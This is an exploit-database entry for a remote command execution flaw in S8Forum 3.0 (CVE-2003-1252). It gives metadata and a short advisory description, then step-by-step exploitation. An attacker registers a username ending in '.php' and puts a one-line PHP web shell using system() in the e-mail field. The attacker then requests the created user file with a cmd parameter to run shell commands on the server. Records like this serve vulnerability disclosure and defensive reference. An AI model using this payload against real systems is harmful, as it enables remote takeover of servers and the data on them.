S8Forum 3.0 - Remote Command Execution

Author: nmsh_sa
type: webapps
platform: php
port: 
date_added: 2003-01-06  
date_updated: 2012-10-21  
verified: 1  
codes: CVE-2003-1252;OSVDB-10858  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22134.txt  
source: https://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP.

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a